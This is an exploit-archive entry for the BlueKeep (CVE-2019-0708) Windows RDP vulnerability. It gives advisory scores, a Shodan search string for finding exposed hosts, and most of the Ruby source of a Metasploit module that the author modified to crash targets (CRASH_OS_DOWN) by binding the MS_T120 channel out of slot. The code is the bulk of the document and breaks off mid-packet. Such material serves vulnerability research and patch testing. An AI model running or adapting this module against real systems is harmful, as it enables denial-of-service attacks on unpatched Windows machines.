Microsoft Windows RDP BlueKeep Denial Of Service

2019.07.16
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-20


CVSS Base Score: 10/10
Impact Subscore: 10/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

# Exploit Title: Bluekeep Denial of Service (metasploit module) # Shodan Dork: port:3389 # Date: 07/14/2019 # Exploit Author: RAMELLA Sebastien (https://github.com/mekhalleh/) # Vendor Homepage: https://microsoft.com # Version: all affected RDP services by cve-2019-0708 # Tested on: Windows XP (32-bits) / Windows 7 (64-bits) # CVE : 2019-0708 # I just modified the initial metasploit module for this vuln to produce a denial of service attack. ## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Auxiliary Rank = NormalRanking include Msf::Auxiliary::Dos include Msf::Auxiliary::Scanner include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'CVE-2019-0708 BlueKeep Microsoft Remote Desktop RCE', 'Description' => %q{ This module checks a range of hosts for the CVE-2019-0708 vulnerability by binding the MS_T120 channel outside of its normal slot and sending DoS packets. }, 'Author' => [ 'National Cyber Security Centre', # Discovery 'JaGoTu', # Module 'zerosum0x0', # Module 'Tom Sellers', # TLS support and documented packets 'RAMELLA Sebastien' # Denial of service module ], 'References' => [ [ 'CVE', '2019-0708' ], [ 'URL', 'https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0708' ] ], 'DisclosureDate' => '2019-05-14', 'License' => MSF_LICENSE, 'Notes' => { 'Stability' => [ CRASH_OS_DOWN ], 'AKA' => ['BlueKeep'] } )) register_options( [ OptAddress.new('RDP_CLIENT_IP', [ true, 'The client IPv4 address to report during connection', '192.168.0.100']), OptString.new('RDP_CLIENT_NAME', [ false, 'The client computer name to report during connection', 'rdesktop']), OptString.new('RDP_DOMAIN', [ false, 'The client domain name to report during connection', '']), OptString.new('RDP_USER', [ false, 'The username to report during connection.']), OptAddressRange.new("RHOSTS", [ true, 'Target address, address range or CIDR identifier']), OptInt.new('RPORT', [true, 'The target TCP port on which the RDP protocol response', 3389]) ] ) end # ------------------------------------------------------------------------- # def bin_to_hex(s) return(s.each_byte.map { | b | b.to_s(16).rjust(2, '0') }.join) end def bytes_to_bignum(bytesIn, order = "little") bytes = bin_to_hex(bytesIn) if(order == "little") bytes = bytes.scan(/../).reverse.join('') end s = "0x" + bytes return(s.to_i(16)) end ## https://www.ruby-forum.com/t/integer-to-byte-string-speed-improvements/67110 def int_to_bytestring(daInt, num_chars = nil) unless(num_chars) bits_needed = Math.log(daInt) / Math.log(2) num_chars = (bits_needed / 8.0).ceil end if(pack_code = { 1 => 'C', 2 => 'S', 4 => 'L' }[ num_chars ]) [daInt].pack(pack_code) else a = (0..(num_chars)).map{ | i | (( daInt >> i*8 ) & 0xFF ).chr }.join a[0..-2] # Seems legit lol! end end def open_connection() begin connect() sock.setsockopt(::Socket::IPPROTO_TCP, ::Socket::TCP_NODELAY, 1) rescue ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e vprint_error("Connection error: #{e.message}") return(false) end return(true) end def rsa_encrypt(bignum, rsexp, rsmod) return((bignum ** rsexp) % rsmod) end # ------------------------------------------------------------------------- # ## Used to abruptly abort scanner for a given host. class RdpCommunicationError < StandardError end ## Define standard RDP constants. class RDPConstants PROTOCOL_RDP = 0 end DEFAULT_CHANNELS_DEFS = "\x04\x00\x00\x00" + # channelCount: 4 ## Channels definitions consist of a name (8 bytes) and options flags ## (4 bytes). Names are up to 7 ANSI characters with null termination. "\x72\x64\x70\x73\x6e\x64\x00\x00" + # rdpsnd "\x0f\x00\x00\xc0" + "\x63\x6c\x69\x70\x72\x64\x72\x00" + # cliprdr "\x00\x00\xa0\xc0" + "\x64\x72\x64\x79\x6e\x76\x63" + # drdynvc "\x00\x00\x00\x80\xc0" + "\x4d\x53\x5f\x54\x31\x32\x30" + # MS_T120 "\x00\x00\x00\x00\x00" ## Builds x.224 Data (DT) TPDU - Section 13.7 def rdp_build_data_tpdu(data) tpkt_length = data.length + 7 "\x03\x00" + # TPKT Header version 03, reserved 0 [tpkt_length].pack("S>") + # TPKT length "\x02\xf0" + # X.224 Data TPDU (2 bytes) "\x80" + # X.224 End Of Transmission (0x80) data end ## Build the X.224 packet, encrypt with Standard RDP Security as needed. ## Default channel_id = 0x03eb = 1003. def rdp_build_pkt(data, rc4enckey = nil, hmackey = nil, channel_id = "\x03\xeb", client_info = false, rdp_sec = true) flags = 0 flags |= 0b1000 if(rdp_sec) # Set SEC_ENCRYPT flags |= 0b1000000 if(client_info) # Set SEC_INFO_PKT pdu = "" ## TS_SECURITY_HEADER - 2.2.8.1.1.2.1 ## Send when the packet is encrypted w/ Standard RDP Security and in all Client Info PDUs. if(client_info || rdp_sec) pdu << [flags].pack("S<") # flags "\x48\x00" = SEC_INFO_PKT | SEC_ENCRYPT pdu << "\x00\x00" # flagsHi end if(rdp_sec) ## Encrypt the payload with RDP Standard Encryption. pdu << rdp_hmac(hmackey, data)[0..7] pdu << rdp_rc4_crypt(rc4enckey, data) else pdu << data end user_data_len = pdu.length udl_with_flag = 0x8000 | user_data_len pkt = "\x64" # sendDataRequest pkt << "\x00\x08" # intiator userId (TODO: for a functional client this isn't static) pkt << channel_id # channelId pkt << "\x70" # dataPriority pkt << [udl_with_flag].pack("S>") pkt << pdu return(rdp_build_data_tpdu(pkt)) end ## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/73d01865-2eae-407f-9b2c-87e31daac471 ## Share Control Header - TS_SHARECONTROLHEADER - 2.2.8.1.1.1.1 def rdp_build_share_control_header(type, data, channel_id = "\xf1\x03") total_len = data.length + 6 return( [total_len].pack("S<") + # totalLength - includes all headers [type].pack("S<") + # pduType - flags 16 bit, unsigned channel_id + # PDUSource: 0x03f1 = 1009 data ) end ## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/4b5d4c0d-a657-41e9-9c69-d58632f46d31 ## Share Data Header - TS_SHAREDATAHEADER - 2.2.8.1.1.1.2 def rdp_build_share_data_header(type, data) uncompressed_len = data.length + 4 return( "\xea\x03\x01\x00" + # shareId: 66538 "\x00" + # pad1 "\x01" + # streamID: 1 [uncompressed_len].pack("S<") + # uncompressedLength - 16 bit, unsigned int [type].pack("C") + # pduType2 - 8 bit, unsigned int - 2.2.8.1.1.2 "\x00" + # compressedType: 0 "\x00\x00" + # compressedLength: 0 data ) end ## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/6c074267-1b32-4ceb-9496-2eb941a23e6b ## Virtual Channel PDU 2.2.6.1 def rdp_build_virtual_channel_pdu(flags, data) data_len = data.length return( [data_len].pack("L<") + # length [flags].pack("L<") + # flags data ) end def rdp_calculate_rc4_keys(client_random, server_random) ## preMasterSecret = First192Bits(ClientRandom) + First192Bits(ServerRandom). preMasterSecret = client_random[0..23] + server_random[0..23] ## PreMasterHash(I) = SaltedHash(preMasterSecret, I) ## MasterSecret = PreMasterHash(0x41) + PreMasterHash(0x4242) + PreMasterHash(0x434343). masterSecret = rdp_salted_hash(preMasterSecret, "A", client_random,server_random) + rdp_salted_hash(preMasterSecret, "BB", client_random, server_random) + rdp_salted_hash(preMasterSecret, "CCC", client_random, server_random) ## MasterHash(I) = SaltedHash(MasterSecret, I) ## SessionKeyBlob = MasterHash(0x58) + MasterHash(0x5959) + MasterHash(0x5A5A5A). sessionKeyBlob = rdp_salted_hash(masterSecret, "X", client_random, server_random) + rdp_salted_hash(masterSecret, "YY", client_random, server_random) + rdp_salted_hash(masterSecret, "ZZZ", client_random, server_random) ## InitialClientDecryptKey128 = FinalHash(Second128Bits(SessionKeyBlob)). initialClientDecryptKey128 = rdp_final_hash(sessionKeyBlob[16..31], client_random, server_random) ## InitialClientEncryptKey128 = FinalHash(Third128Bits(SessionKeyBlob)). initialClientEncryptKey128 = rdp_final_hash(sessionKeyBlob[32..47], client_random, server_random) macKey = sessionKeyBlob[0..15] return initialClientEncryptKey128, initialClientDecryptKey128, macKey, sessionKeyBlob end def rdp_connection_initiation() ## Code to check if RDP is open or not. vprint_status("Verifying RDP protocol...") vprint_status("Attempting to connect using RDP security") rdp_send(pdu_negotiation_request(datastore['RDP_USER'], RDPConstants::PROTOCOL_RDP)) received = sock.get_once(-1, 5) ## TODO: fix it. if (received and received.include? "\x00\x12\x34\x00") return(true) end return(false) end ## FinalHash(K) = MD5(K + ClientRandom + ServerRandom). def rdp_final_hash(k, client_random_bytes, server_random_bytes) md5 = Digest::MD5.new md5 << k md5 << client_random_bytes md5 << server_random_bytes return([md5.hexdigest].pack("H*")) end ## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/7c61b54e-f6cd-4819-a59a-daf200f6bf94 ## mac_salt_key = "W\x13\xc58\x7f\xeb\xa9\x10*\x1e\xddV\x96\x8b[d" ## data_content = "\x12\x00\x17\x00\xef\x03\xea\x03\x02\x00\x00\x01\x04\x00$\x00\x00\x00" ## hmac = rdp_hmac(mac_salt_key, data_content) # hexlified: "22d5aeb486994a0c785dc929a2855923". def rdp_hmac(mac_salt_key, data_content) sha1 = Digest::SHA1.new md5 = Digest::MD5.new pad1 = "\x36" * 40 pad2 = "\x5c" * 48 sha1 << mac_salt_key sha1 << pad1 sha1 << [data_content.length].pack('<L') sha1 << data_content md5 << mac_salt_key md5 << pad2 md5 << [sha1.hexdigest].pack("H*") return([md5.hexdigest].pack("H*")) end ## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/927de44c-7fe8-4206-a14f-e5517dc24b1c ## Parse Server MCS Connect Response PUD - 2.2.1.4 def rdp_parse_connect_response(pkt) ptr = 0 rdp_pkt = pkt[0x49..pkt.length] while(ptr < rdp_pkt.length) header_type = rdp_pkt[ptr..ptr + 1] header_length = rdp_pkt[ptr + 2..ptr + 3].unpack("S<")[0] # vprint_status("header: #{bin_to_hex(header_type)}, len: #{header_length}") if(header_type == "\x02\x0c") # vprint_status("Security header") server_random = rdp_pkt[ptr + 20..ptr + 51] public_exponent = rdp_pkt[ptr + 84..ptr + 87] modulus = rdp_pkt[ptr + 88..ptr + 151] # vprint_status("modulus_old: #{bin_to_hex(modulus)}") rsa_magic = rdp_pkt[ptr + 68..ptr + 71] if(rsa_magic != "RSA1") print_error("Server cert isn't RSA, this scenario isn't supported (yet).") raise RdpCommunicationError end # vprint_status("RSA magic: #{rsa_magic}") bitlen = rdp_pkt[ptr + 72..ptr + 75].unpack("L<")[0] - 8 vprint_status("RSA #{bitlen}-bits") modulus = rdp_pkt[ptr + 88..ptr + 87 + bitlen] # vprint_status("modulus_new: #{bin_to_hex(modulus)}") end ptr += header_length end # vprint_status("SERVER_MODULUS: #{bin_to_hex(modulus)}") # vprint_status("SERVER_EXPONENT: #{bin_to_hex(public_exponent)}") # vprint_status("SERVER_RANDOM: #{bin_to_hex(server_random)}") rsmod = bytes_to_bignum(modulus) rsexp = bytes_to_bignum(public_exponent) rsran = bytes_to_bignum(server_random) vprint_status("MODULUS: #{bin_to_hex(modulus)} - #{rsmod.to_s}") vprint_status("EXPONENT: #{bin_to_hex(public_exponent)} - #{rsexp.to_s}") vprint_status("SVRANDOM: #{bin_to_hex(server_random)} - #{rsran.to_s}") return rsmod, rsexp, rsran, server_random, bitlen end def rdp_rc4_crypt(rc4obj, data) rc4obj.encrypt(data) end ## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/705f9542-b0e3-48be-b9a5-cf2ee582607f ## SaltedHash(S, I) = MD5(S + SHA(I + S + ClientRandom + ServerRandom)) def rdp_salted_hash(s_bytes, i_bytes, client_random_bytes, server_random_bytes) sha1 = Digest::SHA1.new md5 = Digest::MD5.new sha1 << i_bytes sha1 << s_bytes sha1 << client_random_bytes sha1 << server_random_bytes md5 << s_bytes md5 << [sha1.hexdigest].pack("H*") return([md5.hexdigest].pack("H*")) end def rdp_recv() buffer_1 = sock.get_once(4, 5) raise RdpCommunicationError unless buffer_1 # nil due to a timeout buffer_2 = sock.get_once(buffer_1[2..4].unpack("S>")[0], 5) raise RdpCommunicationError unless buffer_2 # nil due to a timeout vprint_status("Received data: #{bin_to_hex(buffer_1 + buffer_2)}") return(buffer_1 + buffer_2) end def rdp_send(data) vprint_status("Send data: #{bin_to_hex(data)}") sock.put(data) end def rdp_sendrecv(data) rdp_send(data) return(rdp_recv()) end # ------------------------------------------------------------------------- # ## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/18a27ef9-6f9a-4501-b000-94b1fe3c2c10 ## Client X.224 Connect Request PDU - 2.2.1.1 def pdu_negotiation_request(user_name = "", requested_protocols = RDPConstants::PROTOCOL_RDP) ## Blank username is valid, nil is random. user_name = Rex::Text.rand_text_alpha(12) if(user_name.nil?) tpkt_len = user_name.length + 38 x224_len = user_name.length + 33 return( "\x03\x00" + # TPKT Header version 03, reserved 0 [tpkt_len].pack("S>") + # TPKT length: 43 [x224_len].pack("C") + # X.224 LengthIndicator "\xe0" + # X.224 Type: Connect Request "\x00\x00" + # dst reference "\x00\x00" + # src reference "\x00" + # class and options "\x43\x6f\x6f\x6b\x69\x65\x3a\x20\x6d\x73\x74\x73\x68\x61\x73\x68\x3d" + # cookie - literal 'Cookie: mstshash=' user_name + # Identifier "username" "\x0d\x0a" + # cookie terminator "\x01\x00" + # Type: RDP Negotiation Request (0x01) "\x08\x00" + # Length [requested_protocols].pack('L<') # requestedProtocols ) end # https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/db6713ee-1c0e-4064-a3b3-0fac30b4037b def pdu_connect_initial(selected_proto = RDPConstants::PROTOCOL_RDP, host_name = "rdesktop", channels_defs = DEFAULT_CHANNELS_DEFS) ## After negotiating TLS or NLA the connectInitial packet needs to include the ## protocol selection that the server indicated in its negotiation response. ## TODO: If this is pulled into an RDP library then the channel list likely ## needs to be build dynamically. For example, MS_T120 likely should only ## ever be sent as part of checks for CVE-2019-0708. ## build clientName - 12.2.1.3.2 Client Core Data (TS_UD_CS_CORE) ## 15 characters + null terminator, converted to unicode ## fixed length - 32 characters total name_unicode = Rex::Text.to_unicode(host_name[0..14], type = 'utf-16le') name_unicode += "\x00" * (32 - name_unicode.length) pdu = "\x7f\x65" + # T.125 Connect-Initial (BER: Application 101) "\x82\x01\xb2" + # Length (BER: Length) "\x04\x01\x01" + # CallingDomainSelector: 1 (BER: OctetString) "\x04\x01\x01" + # CalledDomainSelector: 1 (BER: OctetString) "\x01\x01\xff" + # UpwaredFlag: True (BER: boolean) ## Connect-Initial: Target Parameters "\x30\x19" + # TargetParamenters (BER: SequenceOf) ## *** not sure why the BER encoded Integers below have 2 byte values instead of one *** "\x02\x01\x22\x02\x01\x02\x02\x01\x00\x02\x01\x01\x02\x01\x00\x02\x01\x01\x02\x02\xff\xff\x02\x01\x02" + ## Connect-Intial: Minimum Parameters "\x30\x19" + # MinimumParameters (BER: SequencOf) "\x02\x01\x01\x02\x01\x01\x02\x01\x01\x02\x01\x01\x02\x01\x00\x02\x01\x01\x02\x02\x04\x20\x02\x01\x02" + ## Connect-Initial: Maximum Parameters "\x30\x1c" + # MaximumParameters (BER: SequencOf) "\x02\x02\xff\xff\x02\x02\xfc\x17\x02\x02\xff\xff\x02\x01\x01\x02\x01\x00\x02\x01\x01\x02\x02\xff\xff\x02\x01\x02" + ## Connect-Initial: UserData "\x04\x82\x01\x51" + # UserData, length 337 (BER: OctetString) ## T.124 GCC Connection Data (ConnectData) - PER Encoding used "\x00\x05" + # object length "\x00\x14\x7c\x00\x01" + # object: OID 0.0.20.124.0.1 = Generic Conference Control "\x81\x48" + # Length: ??? (Connect PDU) "\x00\x08\x00\x10\x00\x01\xc0\x00" + # T.124 Connect PDU, Conference name 1 "\x44\x75\x63\x61" + # h221NonStandard: 'Duca' (client-to-server H.221 key) "\x81\x3a" + # Length: ??? (T.124 UserData section) ## Client MCS Section - 2.2.1.3 "\x01\xc0" + # clientCoreData (TS_UD_CS_CORE) header - 2.2.1.3.2 "\xea\x00" + # Length: 234 (includes header) "\x0a\x00\x08\x00" + # version: 8.1 (RDP 5.0 -> 8.1) "\x80\x07" + # desktopWidth: 1920 "\x38\x04" + # desktopHeigth: 1080 "\x01\xca" + # colorDepth: 8 bpp "\x03\xaa" + # SASSequence: 43523 "\x09\x04\x00\x00" + # keyboardLayout: 1033 (English US) "\xee\x42\x00\x00" + # clientBuild: ???? [name_unicode].pack("a*") + # clientName "\x04\x00\x00\x00" + # keyboardType: 4 (IBMEnhanced 101 or 102) "\x00\x00\x00\x00" + # keyboadSubtype: 0 "\x0c\x00\x00\x00" + # keyboardFunctionKey: 12 "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + # imeFileName (64 bytes) "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + "\x01\xca" + # postBeta2ColorDepth: 8 bpp "\x01\x00" + # clientProductID: 1 "\x00\x00\x00\x00" + # serialNumber: 0 "\x18\x00" + # highColorDepth: 24 bpp "\x0f\x00" + # supportedColorDepths: flag (24 bpp | 16 bpp | 15 bpp) "\xaf\x07" + # earlyCapabilityFlags "\x62\x00\x63\x00\x37\x00\x38\x00\x65\x00\x66\x00\x36\x00\x33\x00" + # clientDigProductID (64 bytes) "\x2d\x00\x39\x00\x64\x00\x33\x00\x33\x00\x2d\x00\x34\x00\x31\x00" + "\x39\x38\x00\x38\x00\x2d\x00\x39\x00\x32\x00\x63\x00\x66\x00\x2d" + "\x00\x00\x31\x00\x62\x00\x32\x00\x64\x00\x61\x00\x42\x42\x42\x42" + "\x07" + # connectionType: 7 "\x00" + # pad1octet ## serverSelectedProtocol - After negotiating TLS or CredSSP this value ## must match the selectedProtocol value from the server's Negotiate ## Connection confirm PDU that was sent before encryption was started. [selected_proto].pack('L<') + # "\x01\x00\x00\x00" "\x56\x02\x00\x00" + "\x50\x01\x00\x00" + "\x00\x00" + "\x64\x00\x00\x00" + "\x64\x00\x00\x00" + "\x04\xc0" + # clientClusterdata (TS_UD_CS_CLUSTER) header - 2.2.1.3.5 "\x0c\x00" + # Length: 12 (includes header) "\x15\x00\x00\x00" + # flags (REDIRECTION_SUPPORTED | REDIRECTION_VERSION3) "\x00\x00\x00\x00" + # RedirectedSessionID "\x02\xc0" + # clientSecuritydata (TS_UD_CS_SEC) header - 2.2.1.3.3 "\x0c\x00" + # Length: 12 (includes header) "\x1b\x00\x00\x00" + # encryptionMethods: 3 (40 bit | 128 bit) "\x00\x00\x00\x00" + # extEncryptionMethods (French locale only) "\x03\xc0" + # clientNetworkData (TS_UD_CS_NET) - 2.2.1.3.4 "\x38\x00" + # Length: 56 (includes header) channels_defs ## Fix. for packet modification. ## T.125 Connect-Initial size_1 = [pdu.length - 5].pack("s") # Length (BER: Length) pdu[3] = size_1[1] pdu[4] = size_1[0] ## Connect-Initial: UserData size_2 = [pdu.length - 102].pack("s") # UserData, length (BER: OctetString) pdu[100] = size_2[1] pdu[101] = size_2[0] ## T.124 GCC Connection Data (ConnectData) - PER Encoding used size_3 = [pdu.length - 111].pack("s") # Length (Connect PDU) pdu[109] = "\x81" pdu[110] = size_3[0] size_4 = [pdu.length - 125].pack("s") # Length (T.124 UserData section) pdu[123] = "\x81" pdu[124] = size_4[0] ## Client MCS Section - 2.2.1.3 size_5 = [pdu.length - 383].pack("s") # Length (includes header) pdu[385] = size_5[0] rdp_build_data_tpdu(pdu) end ## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/9cde84cd-5055-475a-ac8b-704db419b66f ## Client Security Exchange PDU - 2.2.1.10 def pdu_security_exchange(rcran, rsexp, rsmod, bitlen) encrypted_rcran_bignum = rsa_encrypt(rcran, rsexp, rsmod) encrypted_rcran = int_to_bytestring(encrypted_rcran_bignum) bitlen += 8 # Pad with size of TS_SECURITY_PACKET header userdata_length = 8 + bitlen userdata_length_low = userdata_length & 0xFF userdata_length_high = userdata_length / 256 flags = 0x80 | userdata_length_high pdu = "\x64" + # T.125 sendDataRequest "\x00\x08" + # intiator userId "\x03\xeb" + # channelId = 1003 "\x70" + # dataPriority = high, segmentation = begin | end [flags].pack("C") + [userdata_length_low].pack("C") + # UserData length # TS_SECURITY_PACKET - 2.2.1.10.1 "\x01\x00" + # securityHeader flags "\x00\x00" + # securityHeader flagsHi [bitlen].pack("L<") + # TS_ length encrypted_rcran + # encryptedClientRandom - 64 bytes "\x00\x00\x00\x00\x00\x00\x00\x00" # 8 bytes rear padding (always present) return(rdp_build_data_tpdu(pdu)) end ## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/04c60697-0d9a-4afd-a0cd-2cc133151a9c ## Client MCS Erect Domain Request PDU - 2.2.1.5 def pdu_erect_domain_request() pdu = "\x04" + # T.125 ErectDomainRequest "\x01\x00" + # subHeight - length 1, value 0 "\x01\x00" # subInterval - length 1, value 0 return(rdp_build_data_tpdu(pdu)) end ## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/f5d6a541-9b36-4100-b78f-18710f39f247\ ## Client MCS Attach User Request PDU - 2.2.1.6 def pdu_attach_user_request() pdu = "\x28" # T.125 AttachUserRequest return(rdp_build_data_tpdu(pdu)) end ## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/64564639-3b2d-4d2c-ae77-1105b4cc011b ## Client MCS Channel Join Request PDU -2.2.1.8 def pdu_channel_request(user1, channel_id) pdu = "\x38" + [user1, channel_id].pack("nn") # T.125 ChannelJoinRequest return(rdp_build_data_tpdu(pdu)) end ## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/772d618e-b7d6-4cd0-b735-fa08af558f9d ## TS_INFO_PACKET - 2.2.1.11.1.1 def pdu_client_info(user_name, domain_name = "", ip_address = "") ## Max. len for 4.0/6.0 servers is 44 bytes including terminator. ## Max. len for all other versions is 512 including terminator. ## We're going to limit to 44 (21 chars + null -> unicode) here. ## Blank username is valid, nil = random. user_name = Rex::Text.rand_text_alpha(10) if user_name.nil? user_unicode = Rex::Text.to_unicode(user_name[0..20], type = 'utf-16le') uname_len = user_unicode.length ## Domain can can be, and for rdesktop typically is, empty. ## Max. len for 4.0/5.0 servers is 52 including terminator. ## Max. len for all other versions is 512 including terminator. ## We're going to limit to 52 (25 chars + null -> unicode) here. domain_unicode = Rex::Text.to_unicode(domain_name[0..24], type = 'utf-16le') domain_len = domain_unicode.length ## This address value is primarily used to reduce the fields by which this ## module can be fingerprinted. It doesn't show up in Windows logs. ## clientAddress + null terminator ip_unicode = Rex::Text.to_unicode(ip_address, type = 'utf-16le') + "\x00\x00" ip_len = ip_unicode.length pdu = "\xa1\xa5\x09\x04" + "\x09\x04\xbb\x47" + # CodePage "\x03\x00\x00\x00" + # flags - INFO_MOUSE, INFO_DISABLECTRLALTDEL, INFO_UNICODE, INFO_MAXIMIZESHELL, INFO_ENABLEWINDOWSKEY [domain_len].pack("S<") + # cbDomain (length value) - EXCLUDES null terminator [uname_len].pack("S<") + # cbUserName (length value) - EXCLUDES null terminator "\x00\x00" + # cbPassword (length value) "\x00\x00" + # cbAlternateShell (length value) "\x00\x00" + # cbWorkingDir (length value) [domain_unicode].pack("a*") + # Domain "\x00\x00" + # Domain null terminator, EXCLUDED from value of cbDomain [user_unicode].pack("a*") + # UserName "\x00\x00" + # UserName null terminator, EXCLUDED FROM value of cbUserName "\x00\x00" + # Password - empty "\x00\x00" + # AlternateShell - empty ## TS_EXTENDED_INFO_PACKET - 2.2.1.11.1.1.1 "\x02\x00" + # clientAddressFamily - AF_INET - FIXFIX - detect and set dynamically [ip_len].pack("S<") + # cbClientAddress (length value) - INCLUDES terminator ... for reasons. [ip_unicode].pack("a*") + # clientAddress (unicode + null terminator (unicode) "\x3c\x00" + # cbClientDir (length value): 60 "\x43\x00\x3a\x00\x5c\x00\x57\x00\x49\x00\x4e\x00\x4e\x00\x54\x00" + # clientDir - 'C:\WINNT\System32\mstscax.dll' + null terminator "\x5c\x00\x53\x00\x79\x00\x73\x00\x74\x00\x65\x00\x6d\x00\x33\x00" + "\x32\x00\x5c\x00\x6d\x00\x73\x00\x74\x00\x73\x00\x63\x00\x61\x00" + "\x78\x00\x2e\x00\x64\x00\x6c\x00\x6c\x00\x00\x00" + ## clientTimeZone - TS_TIME_ZONE struct - 172 bytes ## These are the default values for rdesktop "\xa4\x01\x00\x00" + # Bias ## StandardName - 'GTB,normaltid' "\x4d\x00\x6f\x00\x75\x00\x6e\x00\x74\x00\x61\x00\x69\x00\x6e\x00" + "\x20\x00\x53\x00\x74\x00\x61\x00\x6e\x00\x64\x00\x61\x00\x72\x00" + "\x64\x00\x20\x00\x54\x00\x69\x00\x6d\x00\x65\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x0b\x00\x00\x00\x01\x00\x02\x00\x00\x00\x00\x00\x00\x00" + # StandardDate "\x00\x00\x00\x00" + # StandardBias ## DaylightName - 'GTB,sommartid' "\x4d\x00\x6f\x00\x75\x00\x6e\x00\x74\x00\x61\x00\x69\x00\x6e\x00" + "\x20\x00\x44\x00\x61\x00\x79\x00\x6c\x00\x69\x00\x67\x00\x68\x00" + "\x74\x00\x20\x00\x54\x00\x69\x00\x6d\x00\x65\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x03\x00\x00\x00\x02\x00\x02\x00\x00\x00\x00\x00\x00\x00" + # DaylightDate "\xc4\xff\xff\xff" + # DaylightBias "\x01\x00\x00\x00" + # clientSessionId "\x06\x00\x00\x00" + # performanceFlags "\x00\x00" + # cbAutoReconnectCookie "\x64\x00\x00\x00" return(pdu) end # https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/4e9722c3-ad83-43f5-af5a-529f73d88b48 # Confirm Active PDU Data - TS_CONFIRM_ACTIVE_PDU - 2.2.1.13.2.1 def pdu_client_confirm_active() pdu = "\xea\x03\x01\x00" + # shareId: 66538 "\xea\x03" + # originatorId "\x06\x00" + # lengthSourceDescriptor: 6 "\x3e\x02" + # lengthCombinedCapabilities: ??? "\x4d\x53\x54\x53\x43\x00" + # SourceDescriptor: 'MSTSC' "\x17\x00" + # numberCapabilities: 23 "\x00\x00" + # pad2Octets "\x01\x00" + # capabilitySetType: 1 - TS_GENERAL_CAPABILITYSET "\x18\x00" + # lengthCapability: 24 "\x01\x00\x03\x00\x00\x02\x00\x00\x00\x00\x1d\x04\x00\x00\x00\x00" + "\x00\x00\x00\x00" + "\x02\x00" + # capabilitySetType: 2 - TS_BITMAP_CAPABILITYSET "\x1c\x00" + # lengthCapability: 28 "\x20\x00\x01\x00\x01\x00\x01\x00\x80\x07\x38\x04\x00\x00\x01\x00" + "\x01\x00\x00\x1a\x01\x00\x00\x00" + "\x03\x00" + # capabilitySetType: 3 - TS_ORDER_CAPABILITYSET "\x58\x00" + # lengthCapability: 88 "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x01\x00\x14\x00\x00\x00\x01\x00\x00\x00\xaa\x00" + "\x01\x01\x01\x01\x01\x00\x00\x01\x01\x01\x00\x01\x00\x00\x00\x01" + "\x01\x01\x01\x01\x01\x01\x01\x00\x01\x01\x01\x00\x00\x00\x00\x00" + "\xa1\x06\x06\x00\x00\x00\x00\x00\x00\x84\x03\x00\x00\x00\x00\x00" + "\xe4\x04\x00\x00\x13\x00\x28\x00\x03\x00\x00\x03\x78\x00\x00\x00" + "\x78\x00\x00\x00\xfc\x09\x00\x80\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + "\x0a\x00" + # capabilitySetType: 10 - ?? "\x08\x00" + # lengthCapability: 8 "\x06\x00\x00\x00" + "\x07\x00" + # capabilitySetType: 7 - TSWINDOWACTIVATION_CAPABILITYSET "\x0c\x00" + # lengthCapability: 12 "\x00\x00\x00\x00\x00\x00\x00\x00" + "\x05\x00" + # capabilitySetType: 5 - TS_CONTROL_CAPABILITYSET "\x0c\x00" + # lengthCapability: 12 "\x00\x00\x00\x00\x02\x00\x02\x00" + "\x08\x00" + # capabilitySetType: 8 - TS_POINTER_CAPABILITYSET "\x0a\x00" + # lengthCapability: 10 "\x01\x00\x14\x00\x15\x00" + "\x09\x00" + # capabilitySetType: 9 - TS_SHARE_CAPABILITYSET "\x08\x00" + # lengthCapability: 8 "\x00\x00\x00\x00" + "\x0d\x00" + # capabilitySetType: 13 - TS_INPUT_CAPABILITYSET "\x58\x00" + # lengthCapability: 88 "\x91\x00\x20\x00\x09\x04\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00" + "\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + 